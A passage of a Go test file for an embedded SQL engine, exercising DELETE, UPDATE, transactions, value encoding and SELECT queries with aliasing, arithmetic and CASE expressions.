store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id )`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(title)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) params, err := engine.InferParameters(context.Background(), nil, "DELETE FROM table1 WHERE active = @active") require.NoError(t, err) require.NotNil(t, params) require.Len(t, params, 1) require.Equal(t, params["active"], BooleanType) _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM table2", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE name = 'name1'", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) t.Run("delete on empty table should complete without issues", func(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "DELETE FROM table1", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) }) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf(` INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil) require.NoError(t, err) } t.Run("deleting with contradiction should not produce any change", func(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE false", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) }) t.Run("deleting active rows should remove half of the rows", func(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE active = @active", map[string]interface{}{"active": true}) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, rowCount/2, ctxs[0].UpdatedRows()) r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "table1", "col0")]) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 WHERE active", nil) require.NoError(t, err) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) }) } func TestErrorDuringDelete(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, ` create table mytable(name varchar[30], primary key name); insert into mytable(name) values('name1'); `, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "delete FROM mytable where name=name1", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "delete FROM mytable where name='name1'", nil) require.NoError(t, err) } func TestUpdate(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id )`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(title)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) params, err := engine.InferParameters(context.Background(), nil, "UPDATE table1 SET active = @active") require.NoError(t, err) require.NotNil(t, params) require.Len(t, params, 1) require.Equal(t, params["active"], BooleanType) _, _, err = engine.Exec(context.Background(), nil, "UPDATE table2 SET active = false", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET name = 'name1'", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) t.Run("update on empty table should complete without issues", func(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "UPDATE table1 SET active = false", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) }) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf(` INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil) require.NoError(t, err) } t.Run("updating with contradiction should not produce any change", func(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "UPDATE table1 SET active = false WHERE false", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) }) t.Run("updating specific row should update only one row", func(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "UPDATE table1 SET active = true WHERE title = @title", map[string]interface{}{"title": "title1"}) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, 1, ctxs[0].UpdatedRows()) r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 WHERE active", nil) require.NoError(t, err) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) err = r.Close() require.NoError(t, err) }) } func TestErrorDuringUpdate(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, ` create table mytable(id varchar[128], value integer, primary key id); insert into mytable(id, value) values('aa',12), ('ab',13); `, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "update mytable set value=@val where id=@id", nil) require.ErrorIs(t, err, ErrMissingParameter) params := make(map[string]interface{}) params["id"] = "ab" params["val"] = 15 _, _, err = engine.Exec(context.Background(), nil, "update mytable set value=@val where id=@id", params) require.NoError(t, err) } func TestTransactions(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR, PRIMARY KEY id )`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, ` COMMIT; `, nil) require.ErrorIs(t, err, ErrNoOngoingTx) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE INDEX ON table2(title); COMMIT; `, nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; UPSERT INTO table1 (id, title) VALUES (1, 'title1'); UPSERT INTO table1 (id, title) VALUES (2, 'title2'); COMMIT; `, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE TABLE table2 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id); CREATE INDEX ON table2(title); COMMIT; `, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN; CREATE INDEX ON table2(age); INSERT INTO table2 (id, title, age) VALUES (1, 'title1', 40); COMMIT; `, nil) require.NoError(t, err) } func TestTransactionsEdgeCases(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithAutocommit(true)) require.NoError(t, err) t.Run("nested tx are not supported", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, ` BEGIN TRANSACTION; BEGIN TRANSACTION; CREATE TABLE table1 ( id INTEGER, title VARCHAR, PRIMARY KEY id ); COMMIT; COMMIT; `, nil) require.ErrorIs(t, err, ErrNestedTxNotSupported) }) _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER, title VARCHAR, PRIMARY KEY id )`, nil) require.NoError(t, err) t.Run("rollback without explicit transaction should return error", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, ` UPSERT INTO table1 (id, title) VALUES (1, 'title1'); ROLLBACK; `, nil) require.ErrorIs(t, err, ErrNoOngoingTx) }) t.Run("auto-commit should automatically commit ongoing tx", func(t *testing.T) { ntx, ctxs, err := engine.Exec(context.Background(), nil, ` UPSERT INTO table1 (id, title) VALUES (1, 'title1'); UPSERT INTO table1 (id, title) VALUES (2, 'title2'); `, nil) require.NoError(t, err) require.Len(t, ctxs, 2) require.Nil(t, ntx) }) t.Run("explicit tx initialization should automatically commit ongoing tx", func(t *testing.T) { engine.autocommit = false ntx, ctxs, err := engine.Exec(context.Background(), nil, ` UPSERT INTO table1 (id, title) VALUES (3, 'title3'); BEGIN TRANSACTION; UPSERT INTO table1 (id, title) VALUES (4, 'title4'); COMMIT; `, nil) require.NoError(t, err) require.Len(t, ctxs, 2) require.Nil(t, ntx) }) } func TestUseSnapshot(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "USE SNAPSHOT SINCE TX 1", nil) require.ErrorIs(t, err, ErrNoSupported) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; UPSERT INTO table1 (id, title) VALUES (1, 'title1'); UPSERT INTO table1 (id, title) VALUES (2, 'title2'); COMMIT; `, nil) require.NoError(t, err) } func TestEncodeValue(t *testing.T) { b, err := EncodeValue(&Integer{val: int64(1)}, IntegerType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) b, err = EncodeValue(&Integer{val: int64(1)}, BooleanType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue(&Integer{val: int64(1)}, VarcharType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue(&Integer{val: int64(1)}, BLOBType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue(&Integer{val: int64(1)}, "invalid type", 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue(&Bool{val: true}, BooleanType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 1, 1}, b) b, err = EncodeValue(&Bool{val: true}, IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue(&Varchar{val: "title"}, VarcharType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b) b, err = EncodeValue(&Blob{val: []byte{}}, BLOBType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) b, err = EncodeValue(&Blob{val: nil}, BLOBType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) // Max allowed key size is 32 bytes b, err = EncodeValue(&Varchar{val: "012345678901234567890123456789012"}, VarcharType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) _, err = EncodeValue(&Varchar{val: "01234567890123456789012345678902"}, VarcharType, 0) require.NoError(t, err) _, err = EncodeValue(&Varchar{val: "012345678901234567890123456789012"}, VarcharType, 0) require.NoError(t, err) b, err = EncodeValue(&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2}, }, BLOBType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) _, err = EncodeValue(&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1}, }, BLOBType, 0) require.NoError(t, err) _, err = EncodeValue(&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2}, }, BLOBType, 0) require.NoError(t, err) b, err = EncodeValue((&Integer{val: 1}), IntegerType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) b, err = EncodeValue((&Bool{val: true}), IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue((&Bool{val: true}), BooleanType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 1, 1}, b) b, err = EncodeValue((&Integer{val: 1}), BooleanType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue((&Varchar{val: "title"}), VarcharType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b) b, err = EncodeValue((&Integer{val: 1}), VarcharType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue((&Blob{val: []byte{}}), BLOBType, 50) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) b, err = EncodeValue((&Blob{val: nil}), BLOBType, 50) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) b, err = EncodeValue((&Integer{val: 1}), BLOBType, 50) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) b, err = EncodeValue((&Integer{val: 1}), "invalid type", 50) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) // Max allowed key size is 32 bytes b, err = EncodeValue((&Varchar{val: "012345678901234567890123456789012"}), VarcharType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) _, err = EncodeValue((&Varchar{val: "01234567890123456789012345678902"}), VarcharType, 256) require.NoError(t, err) _, err = EncodeValue((&Varchar{val: "012345678901234567890123456789012"}), VarcharType, 256) require.NoError(t, err) b, err = EncodeValue((&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, }}), BLOBType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) _, err = EncodeValue((&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, }}), BLOBType, 256) require.NoError(t, err) _, err = EncodeValue((&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, }}), BLOBType, 256) require.NoError(t, err) b, err = EncodeValue((&Timestamp{val: time.Unix(0, 1000)}), TimestampType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) b, err = EncodeValue((&Integer{val: 1}), TimestampType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) } func TestQuery(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, err = engine.Query(context.Background(), nil, "SELECT id FROM table1", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, ts TIMESTAMP, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)`, nil) require.NoError(t, err) params := make(map[string]interface{}) params["id"] = 0 r, err := engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE id >= @id", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) rowCount := 10 start := time.Now() for i := 0; i < rowCount; i++ { encPayload := hex.EncodeToString([]byte(fmt.Sprintf("blob%d", i))) _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf(` UPSERT INTO table1 (id, ts, title, active, payload) VALUES (%d, NOW(), 'title%d', %v, x'%s') `, i, i, i%2 == 0, encPayload), nil) require.NoError(t, err) } t.Run("should resolve every row", func(t *testing.T) { r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY title", nil) require.NoError(t, err) colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) require.Equal(t, "table1", r.TableAlias()) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "table1", "ts")].RawValue().(time.Time))) require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "table1", "payload")].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should fail reading due to non-existent column", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id1 FROM table1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) require.Nil(t, row) err = r.Close() require.NoError(t, err) }) t.Run("should resolve every row with two-time table aliasing", func(t *testing.T) { r, err = engine.Query( context.Background(), nil, fmt.Sprintf(` SELECT * FROM table1 AS mytable1 WHERE mytable1.id >= 0 LIMIT %d `, rowCount), nil) require.NoError(t, err) colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) require.Equal(t, "mytable1", r.TableAlias()) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "mytable1", "ts")].RawValue().(time.Time))) require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "mytable1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "mytable1", "title")].RawValue()) require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "mytable1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "mytable1", "payload")].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should resolve every row with column and two-time table aliasing", func(t *testing.T) { r, err = engine.Query( context.Background(), nil, fmt.Sprintf(` SELECT mytable1.id AS D, ts, Title, payload, Active FROM table1 mytable1 WHERE mytable1.id >= 0 LIMIT %d `, rowCount), nil) require.NoError(t, err) colsBySel, err := r.colsBySelector(context.Background()) require.NoError(t, err) require.Len(t, colsBySel, 5) require.Equal(t, "mytable1", r.TableAlias()) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "mytable1", "ts")].RawValue().(time.Time))) require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "mytable1", "d")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "mytable1", "title")].RawValue()) require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "mytable1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "mytable1", "payload")].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active, payload FROM table1 ORDER BY title", nil) require.NoError(t, err) require.NotNil(t, r) allRows := make([]*Row, rowCount) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) allRows[i] = row } _, err = r.Read(context.Background()) require.ErrorIs(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) isSorted := sort.SliceIsSorted(allRows, func(i, j int) bool { r1 := allRows[i].ValuesByPosition[1] r2 := allRows[j].ValuesByPosition[1] return r1.RawValue().(string) < r2.RawValue().(string) }) require.True(t, isSorted) r, err = engine.Query(context.Background(), nil, "SELECT Id, Title, Active, payload FROM Table1 ORDER BY Id DESC", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) require.Equal(t, (rowCount-1-i)%2 == 0, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", rowCount-1-i)) require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "table1", "payload")].RawValue()) } err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE id", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrInvalidCondition) err = r.Close() require.NoError(t, err) params = make(map[string]interface{}) params["some_param1"] = true r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @some_param1", params) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) err = r.Close() require.NoError(t, err) params = make(map[string]interface{}) params["some_param"] = true encPayloadPrefix := hex.EncodeToString([]byte("blob")) r, err = engine.Query( context.Background(), nil, fmt.Sprintf(` SELECT id, title, active FROM table1 WHERE active = @some_param AND title > 'title' AND payload >= x'%s' AND title LIKE 't'`, encPayloadPrefix), params) require.NoError(t, err) for i := 0; i < rowCount/2; i += 2 { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) require.Equal(t, params["some_param"], row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) } err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE id = 0", nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 5) err = r.Close() require.NoError(t, err) t.Run("Query with integer division by zero", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id / 0", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrDivisionByZero) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id % 0", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrDivisionByZero) err = r.Close() require.NoError(t, err) }) t.Run("Query with floating-point division by zero", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id / (1.0-1.0)", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrDivisionByZero) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id % (1.0-1.0)", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrDivisionByZero) err = r.Close() require.NoError(t, err) }) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) t.Run("Query with integer arithmetics", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id + 1/1 > 1 * (1 - 0)", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) }) t.Run("Query with floating-point arithmetic", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id + 1.0/1.0 > 1.0 * (1.0 - 0.0)", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) }) t.Run("Query with boolean expressions", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) }) t.Run("query expressions", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT 1, (id + 1) * 2.0, id % 2 = 0 FROM table1", nil) require.NoError(t, err) cols, err := reader.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 3) require.Equal(t, ColDescriptor{Table: "table1", Column: "col0", Type: IntegerType}, cols[0]) require.Equal(t, ColDescriptor{Table: "table1", Column: "col1", Type: Float64Type}, cols[1]) require.Equal(t, ColDescriptor{Table: "table1", Column: "col2", Type: BooleanType}, cols[2]) rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, 10) require.NoError(t, reader.Close()) for i, row := range rows { require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) require.Equal(t, float64((i+1)*2), row.ValuesBySelector[EncodeSelector("", "table1", "col1")].RawValue()) require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) } }) t.Run("query with case when then", func(t *testing.T) { _, _, err := engine.Exec( context.Background(), nil, `CREATE TABLE employees ( employee_id INTEGER AUTO_INCREMENT, first_name VARCHAR[50], last_name VARCHAR[50], department VARCHAR[50], salary INTEGER, hire_date TIMESTAMP, job_title VARCHAR[50], PRIMARY KEY employee_id );`, nil, ) require.NoError(t, err) n := 100 for i := 0; i < n; i++ { _, _, err := engine.Exec( context.Background(), nil, `INSERT INTO employees(first_name, last_name, department, salary, job_title) VALUES (@first_name, @last_name, @department, @salary, @job_title) `, map[string]interface{}{ "first_name": fmt.Sprintf("name%d", i), "last_name": fmt.Sprintf("surname%d", i), "department": []string{"sales", "manager", "engineering"}[rand.Intn(3)], "salary": []int64{20, 40, 50, 80, 100}[rand.Intn(5)] * 1000, "job_title": []string{"manager", "senior engineer", "executive"}[rand.Intn(3)], }, ) require.NoError(t, err) } _, err = engine.queryAll( context.Background(), nil, "SELECT CASE WHEN salary THEN 0 END FROM employees", nil, ) require.ErrorIs(t, err, ErrInvalidTypes) rows, err := engine.queryAll( context.Background(), nil, `SELECT employee_id, first_name, last_name, salary, CASE WHEN salary < 50000 THEN @low WHEN salary >= 50000 AND salary <= 100000 THEN @medium ELSE @high END AS salary_category FROM employees;`, map[string]interface{}{ "low": "Low", "medium": "Medium", "high": "High", }, ) require.NoError(t, err) require.Len(t, rows, n) for _, row := range rows { salary := row.ValuesByPosition[3].RawValue().(int64) category, _ := row.ValuesByPosition[4].RawValue().(string) expectedCategory := "High" if salary < 50000 { expectedCategory = "Low" } else if salary >= 50000 && salary <= 100000 { expectedCategory = "Medium" } require.Equal(t, expectedCategory, category) } rows, err = engine.queryAll( context.Background(), nil, `SELECT department, job_title, CASE department WHEN 'sales' THEN CASE WHEN job_title = 'manager' THEN '20% Bonus' ELSE '10% Bonus' END WHEN 'engineering' THEN CASE WHEN job_title = 'senior engineer' THEN '15% Bonus' ELSE '5% Bonus' END ELSE CASE WHEN job_title = 'executive' THEN '12% Bonus' ELSE 'No Bonus' END END AS bonus FROM employees;`, nil, ) 